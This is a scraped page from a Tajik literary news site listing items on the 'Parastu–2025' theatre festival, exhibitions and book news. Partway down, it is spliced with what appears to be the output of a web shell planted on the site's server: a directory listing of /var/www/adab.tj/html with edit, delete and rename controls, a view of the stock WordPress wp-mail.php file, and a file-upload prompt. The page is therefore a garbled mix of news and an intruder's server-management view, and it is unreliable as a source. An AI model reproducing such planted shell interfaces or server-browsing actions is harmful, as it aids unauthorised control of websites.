36.2 C
Душанбе
- Таблиғ -spot_img

БАХШ

Хабарҳо

Натиҷагирӣ аз “Парасту–2025” ва эълони барандагони он

Рӯзи 21-уми апрел дар Намоишсарои опера ва балети Садриддин Айнӣ маросими натиҷагирӣ аз Ҷашнвораи саросарии намоишсарҳои ҳирфаӣ “Парасту – 2025” баргузор гардид, ки шоҳҷоизаи...

«Келини ҷойдорӣ» чӣ бурд дошт?

Мавҷи кафкӯбӣ, нидои хандаю шодӣ ва "офарин"-гӯиҳои тамошобинон намоиши "Келини ҷойдорӣ"-ро аз оғоз то анҷом ҳамроҳ буд. Намоиши мазкур аз ҷониби ҳунарпешагони Театри мазҳакаи...

«Ахтаре дар Хатлонзамин» дурахшида тавонист?

Мутахассисон аз намоиши таҳиянамудаи ҳайати эҷодии Театри мазҳака-мусиқии ба номи Сайдалӣ Вализодаи шаҳри Кӯлоб, ки рӯзи 17-уми апрел дар доираи Ҷашнвораи “Парасту – 2025”...

“Парасту – 2025”. “Ривояти суғдӣ” пешкаши бинандагон шуд

Ҳайати эҷодии Театри мусиқӣ-драмаи ноҳияи Данғара бо таҳияи намоиш аз рӯи асари нависандаи машҳур Сотим Улуғзода – “Ривояти суғдӣ” дӯстдорони театр ва мутахассисони соҳаро...

Намоиши асарҳои нигоришии марбут ба «Роғун» дар Душанбешаҳр

Рӯзи 15-уми апрел дар Осорхонаи миллии Тоҷикистон намоиши асарҳои нигоришӣ баргузор гардид, ки ба сохтмонсозии «Роғун» марбут аст. Намоиши мазкур зери унвони "«Роғун” –...

Устод Айнӣ ва адабу фарҳанги миллӣ

Рӯзи 15-уми апрел пас аз гулчанбаргузорӣ бар пайкараи бунёдгузори адабиёти муосири тоҷикӣ устод Садриддин Айнӣ дар Донишгоҳи миллии Тоҷикистон ҳамоиши илмию адабӣ зери унвони...

«Парасту» ба парвоз оғоз кард

Рӯзи 14-уми апрел дар Театри академии опера ва балети ба номи Садриддин Айнӣ маросими ифтитоҳи Ҷашнвора-озмуни саросарии театрҳои касбӣ – «Парасту 2025» баргузор гардид....

Шаҳрдор узви Иттифоқи нависандагонро иёдат кард

Абдухолиқ Холиқзода, шаҳрдори Панҷиканд дар ҳангоми сафари корӣ ба ҷамоати деҳоти Косатароши ин шаҳр шоир ва рӯзноманигор Шодӣ Сатторро иёдат кард. Тибқи иттилои дафтари матбуотии...

Тантанаҳои Ҷашнвораи китоби бачаҳо

Дар чаҳорчӯби Ҷашнвораи "Ҳафтаи китоби кӯдакон ва наврасон", ки бо ибтикори Вазорати фарҳанги Ҷумҳурии Тоҷикистон ҳамасола аз 2 то 9-уми апрел баргузор мегардад, шоирону...

Маҷмуаи  шоир ва тарҷумони тоҷик дар Миср ба чоп расид

Маҷмуаи “Шазарот” (Заррарезаҳо)-и шоир ва тарҷумони арабизабон Назруллоҳи Назар дар шаҳри Қоҳираи Ҷумҳурии арабии Миср чоп шуд. Дар ин бора сафҳаи фейсбукии нашриёти “Шамс”-и...
- Таблиғ -spot_img

Хабарҳои охир

Акси гӯё

Бахшҳо

Current Dir: /var/www/adab.tj/html/

[FILE] .htaccess [ edit | delete | rename ]
[FILE] index.php [ edit | delete | rename ]
[FILE] license.txt [ edit | delete | rename ]
[FILE] readme.html [ edit | delete | rename ]
[FILE] wordpress-6.7.1-ru_RU.zip [ edit | delete | rename ]
[FILE] wp-activate.php [ edit | delete | rename ]
[DIR]  wp-admin [ delete | rename ]
[FILE] wp-blog-header.php [ edit | delete | rename ]
[FILE] wp-comments-post.php [ edit | delete | rename ]
[FILE] wp-config-sample.php [ edit | delete | rename ]
[FILE] wp-config.php [ edit | delete | rename ]
[DIR]  wp-content [ delete | rename ]
[FILE] wp-cron.php [ edit | delete | rename ]
[DIR]  wp-includes [ delete | rename ]
[FILE] wp-links-opml.php [ edit | delete | rename ]
[FILE] wp-load.php [ edit | delete | rename ]
[FILE] wp-login.php [ edit | delete | rename ]
[FILE] wp-mail.php [ edit | delete | rename ]
[FILE] wp-settings.php [ edit | delete | rename ]
[FILE] wp-signup.php [ edit | delete | rename ]
[FILE] wp-trackback.php [ edit | delete | rename ]
[DIR]  www [ delete | rename ]
[FILE] xmlrpc.php [ edit | delete | rename ]

Viewing: /var/www/adab.tj/html/wp-mail.php

<?php
/**
 * Gets the email message from the user's mailbox to add as
 * a WordPress post. Mailbox connection information must be
 * configured under Settings > Writing
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

/** This filter is documented in wp-admin/options.php */
if ( ! apply_filters( 'enable_post_by_email_configuration', true ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

$mailserver_url = get_option( 'mailserver_url' );

if ( 'mail.example.com' === $mailserver_url || empty( $mailserver_url ) ) {
	wp_die( __( 'This action has been disabled by the administrator.' ), 403 );
}

/**
 * Fires to allow a plugin to do a complete takeover of Post by Email.
 *
 * @since 2.9.0
 */
do_action( 'wp-mail.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/** Get the POP3 class with which to access the mailbox. */
require_once ABSPATH . WPINC . '/class-pop3.php';

/** Only check at this interval for new messages. */
if ( ! defined( 'WP_MAIL_INTERVAL' ) ) {
	define( 'WP_MAIL_INTERVAL', 5 * MINUTE_IN_SECONDS );
}

$last_checked = get_transient( 'mailserver_last_checked' );

if ( $last_checked ) {
	wp_die( __( 'Slow down cowboy, no need to check for new mails so often!' ) );
}

set_transient( 'mailserver_last_checked', true, WP_MAIL_INTERVAL );

$time_difference = (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

$phone_delim = '::';

$pop3 = new POP3();

if ( ! $pop3->connect( get_option( 'mailserver_url' ), get_option( 'mailserver_port' ) ) || ! $pop3->user( get_option( 'mailserver_login' ) ) ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

$count = $pop3->pass( get_option( 'mailserver_pass' ) );

if ( false === $count ) {
	wp_die( esc_html( $pop3->ERROR ) );
}

if ( 0 === $count ) {
	$pop3->quit();
	wp_die( __( 'There does not seem to be any new mail.' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

for ( $i = 1; $i <= $count; $i++ ) {

	$message = $pop3->get( $i );

	$bodysignal                = false;
	$boundary                  = '';
	$charset                   = '';
	$content                   = '';
	$content_type              = '';
	$content_transfer_encoding = '';
	$post_author               = 1;
	$author_found              = false;
	$post_date                 = null;
	$post_date_gmt             = null;

	foreach ( $message as $line ) {
		// Body signal.
		if ( strlen( $line ) < 3 ) {
			$bodysignal = true;
		}
		if ( $bodysignal ) {
			$content .= $line;
		} else {
			if ( preg_match( '/Content-Type: /i', $line ) ) {
				$content_type = trim( $line );
				$content_type = substr( $content_type, 14, strlen( $content_type ) - 14 );
				$content_type = explode( ';', $content_type );
				if ( ! empty( $content_type[1] ) ) {
					$charset = explode( '=', $content_type[1] );
					$charset = ( ! empty( $charset[1] ) ) ? trim( $charset[1] ) : '';
				}
				$content_type = $content_type[0];
			}
			if ( preg_match( '/Content-Transfer-Encoding: /i', $line ) ) {
				$content_transfer_encoding = trim( $line );
				$content_transfer_encoding = substr( $content_transfer_encoding, 27, strlen( $content_transfer_encoding ) - 27 );
				$content_transfer_encoding = explode( ';', $content_transfer_encoding );
				$content_transfer_encoding = $content_transfer_encoding[0];
			}
			if ( 'multipart/alternative' === $content_type && str_contains( $line, 'boundary="' ) && '' === $boundary ) {
				$boundary = trim( $line );
				$boundary = explode( '"', $boundary );
				$boundary = $boundary[1];
			}
			if ( preg_match( '/Subject: /i', $line ) ) {
				$subject = trim( $line );
				$subject = substr( $subject, 9, strlen( $subject ) - 9 );
				// Captures any text in the subject before $phone_delim as the subject.
				if ( function_exists( 'iconv_mime_decode' ) ) {
					$subject = iconv_mime_decode( $subject, 2, get_option( 'blog_charset' ) );
				} else {
					$subject = wp_iso_descrambler( $subject );
				}
				$subject = explode( $phone_delim, $subject );
				$subject = $subject[0];
			}

			/*
			 * Set the author using the email address (From or Reply-To, the last used)
			 * otherwise use the site admin.
			 */
			if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
				if ( preg_match( '|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches ) ) {
					$author = $matches[0];
				} else {
					$author = trim( $line );
				}
				$author = sanitize_email( $author );
				if ( is_email( $author ) ) {
					$userdata = get_user_by( 'email', $author );
					if ( ! empty( $userdata ) ) {
						$post_author  = $userdata->ID;
						$author_found = true;
					}
				}
			}

			if ( preg_match( '/Date: /i', $line ) ) { // Of the form '20 Mar 2002 20:32:37 +0100'.
				$ddate = str_replace( 'Date: ', '', trim( $line ) );
				// Remove parenthesized timezone string if it exists, as this confuses strtotime().
				$ddate           = preg_replace( '!\s*\(.+\)\s*$!', '', $ddate );
				$ddate_timestamp = strtotime( $ddate );
				$post_date       = gmdate( 'Y-m-d H:i:s', $ddate_timestamp + $time_difference );
				$post_date_gmt   = gmdate( 'Y-m-d H:i:s', $ddate_timestamp );
			}
		}
	}

	// Set $post_status based on $author_found and on author's publish_posts capability.
	if ( $author_found ) {
		$user        = new WP_User( $post_author );
		$post_status = ( $user->has_cap( 'publish_posts' ) ) ? 'publish' : 'pending';
	} else {
		// Author not found in DB, set status to pending. Author already set to admin.
		$post_status = 'pending';
	}

	$subject = trim( $subject );

	if ( 'multipart/alternative' === $content_type ) {
		$content = explode( '--' . $boundary, $content );
		$content = $content[2];

		// Match case-insensitive Content-Transfer-Encoding.
		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim ) ) {
			$content = explode( $delim[0], $content );
			$content = $content[1];
		}
		$content = strip_tags( $content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>' );
	}
	$content = trim( $content );

	/**
	 * Filters the original content of the email.
	 *
	 * Give Post-By-Email extending plugins full access to the content, either
	 * the raw content, or the content of the last quoted-printable section.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content The original email content.
	 */
	$content = apply_filters( 'wp_mail_original_content', $content );

	if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) {
		$content = quoted_printable_decode( $content );
	}

	if ( function_exists( 'iconv' ) && ! empty( $charset ) ) {
		$content = iconv( $charset, get_option( 'blog_charset' ), $content );
	}

	// Captures any text in the body after $phone_delim as the body.
	$content = explode( $phone_delim, $content );
	$content = empty( $content[1] ) ? $content[0] : $content[1];

	$content = trim( $content );

	/**
	 * Filters the content of the post submitted by email before saving.
	 *
	 * @since 1.2.0
	 *
	 * @param string $content The email content.
	 */
	$post_content = apply_filters( 'phone_content', $content );

	$post_title = xmlrpc_getposttitle( $content );

	if ( '' === trim( $post_title ) ) {
		$post_title = $subject;
	}

	$post_category = array( get_option( 'default_email_category' ) );

	$post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' );
	$post_data = wp_slash( $post_data );

	$post_ID = wp_insert_post( $post_data );
	if ( is_wp_error( $post_ID ) ) {
		echo "\n" . $post_ID->get_error_message();
	}

	// The post wasn't inserted or updated, for whatever reason. Better move forward to the next email.
	if ( empty( $post_ID ) ) {
		continue;
	}

	/**
	 * Fires after a post submitted by email is published.
	 *
	 * @since 1.2.0
	 *
	 * @param int $post_ID The post ID.
	 */
	do_action( 'publish_phone', $post_ID );

	echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>';
	echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>';

	if ( ! $pop3->delete( $i ) ) {
		echo '<p>' . sprintf(
			/* translators: %s: POP3 error. */
			__( 'Oops: %s' ),
			esc_html( $pop3->ERROR )
		) . '</p>';
		$pop3->reset();
		exit;
	} else {
		echo '<p>' . sprintf(
			/* translators: %s: The message ID. */
			__( 'Mission complete. Message %s deleted.' ),
			'<strong>' . $i . '</strong>'
		) . '</p>';
	}
}

$pop3->quit();

Upload File: